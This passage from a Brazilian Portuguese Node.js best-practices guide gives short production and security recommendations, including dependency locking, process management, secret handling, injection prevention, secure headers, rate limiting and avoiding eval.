reescrever todas as declarações de log para adicionar informações adicionais.\n\n🔗 [**Leia Mais: Aumente a transparência usando smart logging**](./sections/production/smartlogging.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 5.3. Delegue tudo o que for possível (por exemplo, gzip, SSL) a um proxy reverso\n\n**TL;DR:** O Node é terrivelmente ruim em fazer tarefas intensas de CPU como gzipping, SSL termination, etc. Você deve usar serviços de middleware “reais” como nginx, HAproxy ou serviços de nuvem.\n\n**Caso contrário:** Seu único e pobre thread permanecerá ocupado fazendo tarefas de infra-estrutura em vez de lidar com o núcleo da sua aplicação e o desempenho certamente será degradado.\n\n🔗 [**Leia Mais: Delegue tudo o que for possível (por exemplo, gzip, SSL) a um proxy reverso**](./sections/production/delegatetoproxy.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 5.4. Bloqueio de dependências\n\n**TL;DR:** Seu código deve ser idêntico em todos os ambientes, mas, surpreendentemente, o npm permite que as dependências derivem entre os ambientes por padrão - quando você instala pacotes em vários ambientes, ele tenta buscar a versão mais recente dos pacotes. Supere isso usando arquivos de configuração do npm, .npmrc, que dirão a cada ambiente para salvar a versão exata (não a última) de cada pacote. Outra alternativa, para um controle melhor, use o “shirinkwrap” do npm. \\*Atualização: a partir do NPM5, as dependências são bloqueadas por padrão. O novo gerenciador de pacotes no pedaço, Yarn, também faz isso por padrão.\n\n**Caso contrário:** O QA testará completamente o código e aprovará uma versão que se comportará de maneira diferente na produção. Pior ainda, servidores diferentes no mesmo cluster de produção podem executar código diferente.\n\n🔗 [**Leia Mais: Bloqueio de dependências**](./sections/production/lockdependencies.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 5.5. Poupe tempo de atividade do processo usando a ferramenta certa\n\n**TL;DR:** O processo deve continuar e ser reiniciado após falhas. Para cenários simples, as ferramentas de \"reinicialização\", como PM2, podem ser suficientes. Entretanto, no mundo atual \"dockerizado\", as ferramentas de gerenciamento de cluster também devem ser consideradas\n\n**Caso contrário:** Rodar dezenas de instâncias sem uma estratégia clara e muitas ferramentas juntas (gerenciamento de cluster, docker, PM2) pode levar o DevOps ao caos.\n\n🔗 [**Leia Mais: Poupe tempo de atividade do processo usando a ferramenta certa**](./sections/production/guardprocess.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 5.6. Utilize todos os núcleos do processador\n\n**TL;DR:** Em sua forma básica, uma aplicação Node roda em um único núcleo do processador enquanto todos os demais ficam inativos. É seu dever replicar o processamento do Node e utilizar todos os processadores. Para aplicações pequenas/médias você pode usar o Node Cluster ou PM2. Para uma aplicação maior, considere replicar o processo usando algum cluster do Docker (por exemplo, o K8S ou o ECS) ou scripts de deploy que são baseados no sistema de inicialização do Linux (por exemplo, systemd)\n\n**Caso contrário:** Sua aplicação vai utilizar apenas 25% dos recursos disponíveis(!) ou talvez até menos. Note que um servidor típico possui 4 núcleos de processamento ou mais, o deploy ingênuo do Node.js utiliza apenas 1 (mesmo usando serviços de PaaS como AWS Beanstalk!)\n\n🔗 [**Leia Mais: Utilize todos os núcleos do processador**](./sections/production/utilizecpu.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 5.7. Crie um ‘endpoint de manutenção’\n\n**TL;DR:** Exponha um conjunto de informações relacionadas ao sistema, como uso de memória e REPL, etc, em uma API segura. Embora seja altamente recomendado confiar em ferramentas padrões e de battle-tests, algumas informações e operações valiosas são mais fáceis de serem feitas usando código.\n\n**Caso contrário:** Você perceberá que está realizando muitos “deploys de diagnóstico” - enviando código para produção apenas para extrair algumas informações para fins de diagnóstico.\n\n🔗 [**Leia Mais: Crie um ‘endpoint de manutenção’**](./sections/production/createmaintenanceendpoint.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 5.8. Descubra erros e tempo de inatividade usando produtos APM\n\n**TL;DR:** Produtos de monitoramento e desempenho (também conhecidos como APM) medem a base de código e a API de forma proativa para que possam ir “automagicamente” além do monitoramento tradicional e medir a experiência geral do usuário entre os serviços e camadas. Por exemplo, alguns APMs podem destacar uma transação que é carregada muito lentamente no lado do usuário final, sugerindo a causa raiz.\n\n**Caso contrário:** Você pode gastar muito esforço medindo o desempenho e os tempos de inatividade da API, provavelmente você nunca saberá quais são suas partes de código mais lentas no cenário do mundo real e como elas afetam o UX.\n\n🔗 [**Leia Mais: Descubra erros e tempo de inatividade usando produtos APM**](./sections/production/apmproducts.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 5.9. Deixe seu código pronto para produção\n\n**TL;DR:** Programe com o fim em mente, planeje para produção desde o primeiro dia. Isso pode parecer vago, então eu compilei algumas dicas de desenvolvimento que estão relacionadas à manutenção de produção (clique no Gist abaixo).\n\n**Caso contrário:** Uma pessoa fera em TI/DevOps não salvará um sistema mal escrito.\n\n🔗 [**Leia Mais: Deixe seu código pronto para produção**](./sections/production/productioncode.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 5.10. Meça e proteja o uso de memória\n\n**TL;DR:** O Node.js tem uma relação controversa com o uso de memória: o motor v8 possui limites no uso de memória (1.4GB) e existem caminhos conhecidos para vazamentos de memória no código do Node - portanto, observar a memória do processo do Node é uma obrigação. Em aplicações pequenas, você pode medir a memória periodicamente usando comandos shell, mas em aplicação média-grande considere utilizar um sistema de monitoramento de memória robusto.\n\n**Caso contrário:** A memória de seus processos pode vazar cem megabytes por dia, assim como aconteceu no [Walmart](https://www.joyent.com/blog/walmart-node-js-memory-leak).\n\n🔗 [**Leia Mais: Meça e proteja o uso de memória**](./sections/production/measurememory.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 5.11. Deixe seus recursos de frontend fora do Node\n\n**TL;DR:** Sirva conteúdo de frontend usando um middleware dedicado (nginx, S3, CDN) pois o desempenho do Node fica realmente prejudicado quando se lida com muitos arquivos estáticos devido ao seu modelo single threaded (segmento único).\n\n**Caso contrário:** Seu único thread do Node ficará ocupado fazendo streaming the centenas de arquivos de html/imagens/angular/react ao invés de alocar todo seu recurso para a tarefa que ele foi designado - servir conteúdo dinâmico.\n\n🔗 [**Leia Mais: Deixe seus recursos de frontend fora do Node**](./sections/production/frontendout.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 5.12. Seja stateless, mate seus Servidores quase todos os dias\n\n**TL;DR:** Armazene qualquer tipo de dados (por exemplo, sessões de usuário, cache, arquivos de upload) em armazenamentos externos. Considere ‘matar’ seus servidores periódicamente ou utilize plataformas ‘serverless’ (por exemplo, AWS Lambda) que forçam explicitamente um comportamento stateless.\n\n**Caso contrário:** Falha em um determinado servidor resultará em tempo de inatividade da aplicação, em vez de apenas matar uma máquina defeituosa. Além do mais, dimensionar a elasticidade será mais desafiador devido à dependência de um servidor específico.\n\n🔗 [**Leia Mais: Seja stateless, mate seus Servidores quase todos os dias**](./sections/production/bestateless.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 5.13. Utilize ferramentas que detectam vulnerabilidades automaticamente\n\n**TL;DR:** Mesmo as dependências mais confiáveis, como o Express, têm vulnerabilidades conhecidas (de tempos em tempos) que podem colocar um sistema em risco. Isso pode ser contornado usando ferramentas comunitárias e comerciais que constantemente verificam vulnerabilidades e avisam (localmente ou no Github). Algumas podem até corrigí-las imediatamente.\n\n**Caso contrário:** Manter seu código limpo com vulnerabilidades sem ferramentas dedicadas exigirá o acompanhamento constante de publicações online sobre novas ameaças. Bem entendiante.\n\n🔗 [**Leia Mais: Utilize ferramentas que detectam vulnerabilidades automaticamente**](./sections/production/detectvulnerabilities.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 5.14. Atribua‘TransactionId’ para cada declaração de log\n\n**TL;DR:** Atribua o mesmo identificador, transaction-id: {some value}, para cada entrada de log dentro de um mesmo request. Depois, ao inspecionar erros em logs, conclua facilmente o que aconteceu antes e depois. Infelizmente, isso não é fácil de se conseguir no Node, devido à sua natureza assíncrona. Veja exemplos de código.\n\n**Caso contrário:** Observar um log de erros de produção sem o contexto - o que aconteceu antes - torna muito mais difícil e mais lento raciocinar sobre o problema.\n\n🔗 [**Leia Mais: Atribua ‘TransactionId’ para cada declaração de log**](./sections/production/assigntransactionid.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 5.15. Defina NODE_ENV=production\n\n**TL;DR:** Defina a variável de ambiente NODE_ENV para ‘production’ ou ‘development’ para sinalizar se as otimizações de produção devem ser ativadas - muitos pacotes npm determinam o ambiente atual e otimizam seu código para produção.\n\n**Caso contrário:** Omitir esta simples propriedade pode degradar muito o desempenho. Por exemplo, ao utilizar o Express para renderização do lado do servidor, omitir o NODE_ENV o torna mais lento!\n\n🔗 [**Leia Mais: Defina NODE_ENV=production**](./sections/production/setnodeenv.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 5.16. Projete deploys automáticos, atômicos e com tempo de inatividade zero\n\n**TL;DR:** Pesquisas mostram que times que executam muitos deploys, reduzem a probabilidade de problemas graves em produção. Deploys rápidos e automatizados que não necessitam de processos manuais arriscados e significativo tempo de inatividade, melhoram o processo de deploy. Provavelmente, você irá alcançar isso usando Docker, combinado com ferramentas de CI, pois elas se tornaram o padrão do setor para deploy simplificado.\n\n**Caso contrário:** Deploys demorados -> tempo de inatividade de produção e erro relacionado a humanos -> equipe não-confiante com os deploys -> menos implantações e recursos.\n\n<br/><br/>\n\n## ![✔] 5.17. Use uma versão LTS do Node.js\n\n**TL;DR:** Certifique de que você está usando uma versão LTS do Node.js para receber correção de bugs críticos, atualizações de segurança e melhorias de performance.\n\n**Caso contrário:** Bugs recentemente descobertos e vulnerabilidades podem ser usados para explorar uma aplicação em produção, e sua aplicação pode se tornar incompatível com vários módulos e mais difícil de manter.\n\n🔗 [**Leia Mais: Use uma versão LTS do Node.js**](./sections/production/LTSrelease.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 5.18. Não direcione logs dentro do aplicativo\n\n**TL;DR:** O destino dos logs não devem ser codificados na unha por desenvolvedores, dentro do código da aplicação. Ao invés disso, deve ser definido pelo ambiente de execução no qual a aplicação é executada. Desenvolvedores devem escrever logs para stdout usando um utilitário logger e depois deixar o ambiente de execução (container, servidor, etc) canalizar o fluxo do stdout para o destino apropriado (por exemplo: Splunk, Graylog, ElasticSearch, etc).\n\n**Caso contrário:** Aplicações manipulando o roteamento de log === difícil de dimensionar, perda de logs, separação ruim de preocupações.\n\n🔗 [**Leia Mais: Roteamento de Logs**](./sections/production/logrouting.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 5.19. Instale seus pacotes com `npm ci`\n\n**TL;DR:** Você precisa ter certeza de que o código de produção usa a versão exata dos pacotes que você realizou os testes. Execute `npm ci` para fazer estritamente uma instalação limpa de suas dependências correspondentes do package.json e do package-lock.json. O uso desse comando é recomendado em ambientes automatizados, como pipelines de integração contínua.\n\n**Caso contrário:** o QA testará completamente o código e aprovará uma versão que se comportará de maneira diferente em produção. Pior ainda, diferentes servidores no mesmo cluster de produção podem executar códigos diferentes.\n\n🔗 [**Read More: Use npm ci**](./sections/production/installpackageswithnpmci.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#índice\">⬆ Voltar ao topo</a></p>\n\n# `6. Boas Práticas em Segurança`\n\n<div align=\"center\">\n<img src=\"https://img.shields.io/badge/OWASP%20Threats-Top%2010-green.svg\" alt=\"54 items\"/>\n</div>\n\n## ![✔] 6.1. Adote as regras de segurança do linter\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20XSS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Faça uso de plugins de linter relacionados à segurança, como por exemplo o [eslint-plugin-security](https://github.com/nodesecurity/eslint-plugin-security) para capturar vulnerabilidades de segurança e erros o mais cedo possível, na melhor das hipóteses, enquanto estão sendo codificados. Isso pode ajudar a detectar pontos fracos de segurança, como usar o eval, invocar um processo filho ou importar um módulo com string literal (por exemplo, input do usuário). Clique em ‘Leia Mais’ abaixo para ver exemplos de códigos que serão capturados por um linter de segurança.\n\n**Caso contrário:** O que poderia ser um ponto fraco de segurança durante o desenvolvimento, pode se tornar um grande problema no ambiente de produção. Além disso, o projeto pode não seguir práticas de segurança de código consistentes, levando a vulnerabilidades sendo introduzidas ou segredos confidenciais comprometidos em repositórios remotos.\n\n🔗 [**Leia Mais: Regras de Lint**](sections/security/lintrules.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 6.2. Limite requests simultâneos usando um middleware\n\n<a href=\"https://www.owasp.org/index.php/Denial_of_Service\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Ataques DOS são muito populares e relativamente fáceis de conduzir. Implemente uma limitação de taxa, usando um serviço externo como balanceadores de carga de nuvem, firewalls de nuvem, nginx, o pacote [rate-limiter-flexible](https://www.npmjs.com/package/rate-limiter-flexible), ou (para aplicações menores e menos críticas) um middleware limitador de taxa (por exemplo, [express-rate-limit](https://www.npmjs.com/package/express-rate-limit))\n\n**Caso contrário:** Uma aplicação pode estar sujeita a um ataque resultando em uma queda do serviço, onde usuários reais recebem um serviço degradado ou indisponível.\n\n🔗 [**Leia Mais: Implementando limitador de taxa**](sections/security/limitrequests.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 6.3 Extraia segredos dos config files ou use pacotes para criptografá-los\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A3:Sensitive%20Data%20Exposure%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Nunca armazene segredos em textos simples em arquivos de configuração ou códigos fonte. Em vez disso, use sistemas de gerenciamento secreto como produtos Vault, Kubernetes/Docker Secrets, ou use variáveis de ambiente. Como resultado final, os segredos armazenados no código fonte devem ser criptografados e gerenciados(rolling keys, expiring, auditing, etc). Faça uso de hooks de pre-commit/push para evitar que faça o commit de secredos acidentalmente.\n\n**Caso contrário:** O controle de origem, mesmo para repositórios privados, pode ser tornado público por engano, quando todos os segredos são expostos. O acesso ao controle de origem para uma parte externa fornecerá inadvertidamente acesso a sistemas relacionados (bancos de dados, APIs, serviços, etc.).\n\n🔗 [**Leia Mais: Gerenciamento de segredos**](sections/security/secretmanagement.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 6.4. Impeça vulnerabilidades de query injection com bibliotecas ORM/ODM\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Para evitar SQL/NoSQL injection e outros ataques maliciosos, sempre faça uso de um ORM/ODM ou de uma biblioteca de banco de dados que proteja os dados ou suporte consultas parametrizadas nomeadas ou indexadas, e que cuide da validação de entrada do usuário para os tipos esperados. Nunca use apenas template strings do JavaScript ou concatenação de string para injetar valores em queries, pois isto abre sua aplicação para muitas vulnerabilidades. Todas as bibliotecas respeitáveis de acesso a dados do Node.js (por exemplo, [Sequelize](https://github.com/sequelize/sequelize), [Knex](https://github.com/tgriesser/knex), [mongoose](https://github.com/Automattic/mongoose)) possuem proteção contra ataques de injeção.\n\n**Caso contrário:** A entrada de usuários não validados pode levar à injeção do operador ao trabalhar com MongoDB para NoSQL e não usar um sistema próprio ou ORM irão permitir facilmente um ataque de SQL injection, criando uma grande vulnerabilidade.\n\n🔗 [**Leia Mais: Prevenção de query injection usando bibliotecas de ORM/ODM**](./sections/security/ormodmusage.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 6.5. Coleção genérica de boas práticas de segurança\n\n**TL;DR:** Esta é uma coleção de conselhos de segurança que não estão relacionadas diretamente com Node.js - a implementação do Node não é muito diferente comparado a outras linguagens. Clique em “leia mais” para dar uma olhada.\n\n🔗 [**Leia Mais: Boas práticas comuns de segurança**](./sections/security/commonsecuritybestpractices.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 6.6. Ajuste os headers de resposta HTTP para uma segurança aprimorada\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Sua aplicação deve estar utilizando headers seguros para evitar que invasores façam ataques comuns, como scripts entre sites (XSS), clickjacking, dentre outros ataques maliciosos. Eles podem ser configurados facilmente usando módulos como o [helmet](https://www.npmjs.com/package/helmet).\n\n**Caso contrário:** Invasores podem realizar ataques diretos aos usuários de sua aplicação, levando a grandes vulnerabilidades de segurança.\n\n🔗 [**Leia Mais: Usando headers seguros em sua aplicação**](./sections/security/secureheaders.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 6.7. Inspecione constante e automaticamente por dependências vulneráveis\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A9-Using_Components_with_Known_Vulnerabilities\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Known%20Vulnerabilities%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Com o ecosistema do npm, é comum um projeto ter várias dependências. Dependências sempre devem ser checadas em caso de novas vulnerabilidades serem encontradas. Utilize ferramentas como [npm audit](https://docs.npmjs.com/cli/audit) ou [snyk](https://snyk.io/) para rastrear, monitorar e corrigir dependências vulneráveis. Integre estas ferramentas com a configuração de seu CI, para que você possa capturar uma dependência vulnerável antes que ela afete o ambiente de produção.\n\n**Caso contrário:** Um invasor pode detectar seu framework web e atacar todas suas vulnerabilidades.\n\n🔗 [**Leia Mais: Segurança de dependências**](./sections/security/dependencysecurity.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 6.8. Evite usar a biblioteca de criptografia do Node.js para manipular senhas, use Bcrypt\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Broken%20Authentication%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Senhas ou segredos (chaves de API), devem ser armazenadas usando um hash seguro + salt function como bcrypt, que deve ser a escolha preferencial em relação à sua implementação de JavaScript, devido a razões de desempenho e segurança.\n\n**Caso contrário:** Senhas ou segredos que são persistidos sem o uso de uma função segura, são vulneráveis a força bruta e ataques de dicionário que levarão eventualmente à sua divulgação.\n\n🔗 [**Leia Mais: Use o Bcrypt**](./sections/security/bcryptpasswords.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 6.9. Fuja de saídas HTML, JS e CSS\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Dados não confiáveis que são enviados para o browser podem ser executados em invés de serem exibidos. Isso está sendo comumente referido como um ataque de script entre sites (XSS). Evite isto, usando bibliotecas dedicadas que marcam explicitamente os dados como conteúdo puro que nunca deve ser executado (por exemplo: encoding, escaping).\n\n**Caso contrário:** Um invasor pode armazenar um código JavaScript malicioso em seu banco de dados, que será enviado para os clientes.\n\n🔗 [**Leia Mais: Evite saídas**](./sections/security/escape-output.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 6.10. Valide os esquemas de entrada JSON\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7: XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A8-Insecure_Deserialization\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A8:Insecured%20Deserialization%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Valide as requisições do body e garanta que elas atendem as expectativas e falhem rápido se não atender. Para evitar o tédio de códigos de validação para cada rota, você pode usar leves esquemas de validação baseados em JSON, como [jsonschema](https://www.npmjs.com/package/jsonschema) ou [joi](https://www.npmjs.com/package/joi)\n\n**Caso contrário:** Sua generosidade e abordagem permissiva aumentam muito a superfície de ataque e incentivam o invasor a experimentar muitas entradas até encontrar alguma combinação para travar a aplicação.\n\n🔗 [**Leia Mais: Valide os esquemas de entrada JSON**](./sections/security/validation.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 6.11. Ajude a inserir JWTs em listas negras\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Broken%20Authentication%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Ao usar JSON Web Tokens (por exemplo, com [Passport.js](https://github.com/jaredhanson/passport)), por padrão não existem mecanismos para revogar o acesso de tokens problemáticos. Uma vez descoberta alguma atividade maliciosa do usuário, não há como impedi-lo de acessar o sistema, desde que ele tenha um token válido. Abrande isso implementando uma lista negra de tokens não confiáveis que são validados em cada solicitação.\n\n**Caso contrário:** Tokens expirados ou extraviados, podem ser usados maliciosamente por terceiros para acessar uma aplicação e para representar o proprietário do token.\n\n🔗 [**Leia Mais: Blacklist de JSON Web Tokens**](./sections/security/expirejwt.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 6.12. Evite ataques de força bruta contra autorização\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Broken%20Authentication%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Uma técnica simples e poderosa é limitar as tentativas de autorização usando duas métricas:\n\n1. A primeiro é o número de tentativas consecutivas com falha do mesmo ID/nome e endereço IP exclusivos do usuário.\n2. A segundo é o número de tentativas malsucedidas de um endereço IP durante um longo período de tempo. Por exemplo, bloqueie um endereço IP se ele fizer 100 tentativas com falha em um dia.\n\n**Caso contrário:** Um invasor pode emitir tentativas ilimitadas de senha automatizada para obter acesso a contas com privilégios em uma aplicação.\n\n🔗 [**Leia Mais: Limitando a taxa de login**](./sections/security/login-rate-limit.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 6.13. Rode o Node.js como um usuário que não seja root\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A5:Broken%20Access%20Access%20Control-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Existe um cenário comum em que o Node.js é executado como um usuário root com permissões ilimitadas. Por exemplo, esse é o comportamento padrão em contêineres do Docker. É recomendável criar um usuário não raiz e associá-lo à imagem do Docker (exemplos abaixo) ou executar o processo em nome desse usuário chamando o container com o sinalizador \"-u username\".\n\n**Caso contrário:** Um invasor que consiga executar um script no servidor obtém poder ilimitado sobre a máquina local (por exemplo, alterar o iptable e redirecionar o tráfego para seu servidor).\n\n🔗 [**Leia Mais: Rode o Node.js com um usuário não raiz**](./sections/security/non-root-user.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 6.14. Limite o tamanho do payload usando um proxy reverso ou um middleware\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A8-Insecure_Deserialization\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A8:Insecured%20Deserialization%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Quanto maior o payload do body, mais difícil será o processamento de um único segmento. Esta é uma oportunidade para os invasores colocarem seus servidores de joelhos sem uma enorme quantidade de solicitações (ataques DOS / DDOS). Reduza isso limitando o tamanho do corpo das solicitações recebidas (por exemplo, firewall, ELB) ou configurando o [express body parser](https://github.com/expressjs/body-parser) para aceitar somente cargas de tamanho pequeno.\n\n**Caso contrário:** Sua aplicação terá que lidar com solicitações grandes, incapazes de processar o outro trabalho importante que ele precisa realizar, o que leva a implicações de desempenho e vulnerabilidade em relação a ataques DOS.\n\n🔗 [**Leia Mais: Limite o tamanho dos payloads**](./sections/security/requestpayloadsizelimit.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 6.15. Evite instruções eval do JavaScript\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** `eval` é do mal, pois permite a execução de um código JavaScript personalizado durante o tempo de execução. Isso não é apenas uma preocupação de desempenho, mas também uma importante preocupação de segurança devido ao código JavaScript malicioso que pode ser originado da entrada do usuário. Outra feature da linguagem que deve ser evitada é o construtor `new Function` constructor. `setTimeout` e `setInterval` também não devem ser receber código JavaScript dinâmico.\n\n**Caso contrário:** o código JavaScript malicioso encontra um caminho para um texto passado para o eval ou outras funções de avaliação em tempo real da linguagem JavaScript, e terá acesso total às permissões do JavaScript na página. Essa vulnerabilidade geralmente se manifesta como um ataque XSS.\n\n🔗 [**Leia Mais: Evite instruções eval do JavaScript**](./sections/security/avoideval.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 6.16. Evite que RegEx maliciosos sobrecarreguem sua execução de thread único\n\n<a href=\"https://www.owasp.org/index.php/Denial_of_Service\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Regular Expressions, embora sejam úteis, representam uma ameaça real para aplicativos JavaScript em geral, e a plataforma Node.js em particular .Uma entrada do usuário para correspondência de texto pode exigir uma quantidade maior de ciclos de CPU para processar. O processamento RegEx pode ser ineficiente até um ponto em que uma única solicitação que valida 10 palavras pode bloquear todo o loop de eventos por 6 segundos e botar 🔥 na CPU. Por essa razão, prefira pacotes de validação de terceiros como [validator.js](https://github.com/chriso/validator.js) ao invés de escrever seus próprios pardrões de Regex, ou faça uso do [safe-regex](https://github.com/substack/safe-regex) para detectar padrões vulneráveis de regex.\n\n**Caso contrário:** Expressões regulares mal escritas podem ser suscetíveis a ataques de Regular Expresssion DoS, que irão bloquear completamente o loop de eventos. Por exemplo, o popular pacote `moment` foi encontrado com vulnerabilidades de uso de RegEx maliciosos em novembro de 2017.\n\n🔗 [**Leia Mais: Evite RegEx maliciosos**](./sections/security/regex.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 6.17. Evite o carregamento de módulos usando uma variável\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Evite fazer require ou importar outro arquivo com um caminho que tenha sido fornecido como parâmetro devido à preocupação de que ele possa ter se originado da entrada do usuário. Esta regra pode ser estendida para acessar arquivos em geral (ou seja, `fs.readFile()`) ou outro acesso a recursos confidenciais com variáveis dinâmicas provenientes da entrada do usuário. O linter [Eslint-plugin-security](https://www.npmjs.com/package/eslint-plugin-security) pode pegar esses padrões e avisar o quanto antes.\n\n**Caso contrário:** A entrada de usuário mal-intencionada pode encontrar o caminho para um parâmetro usado para require de arquivos adulterados, por exemplo, um arquivo carregado anteriormente no sistema de arquivos ou para acessar arquivos de sistema já existentes.\n\n🔗 [**Leia Mais: Carregamento seguro de 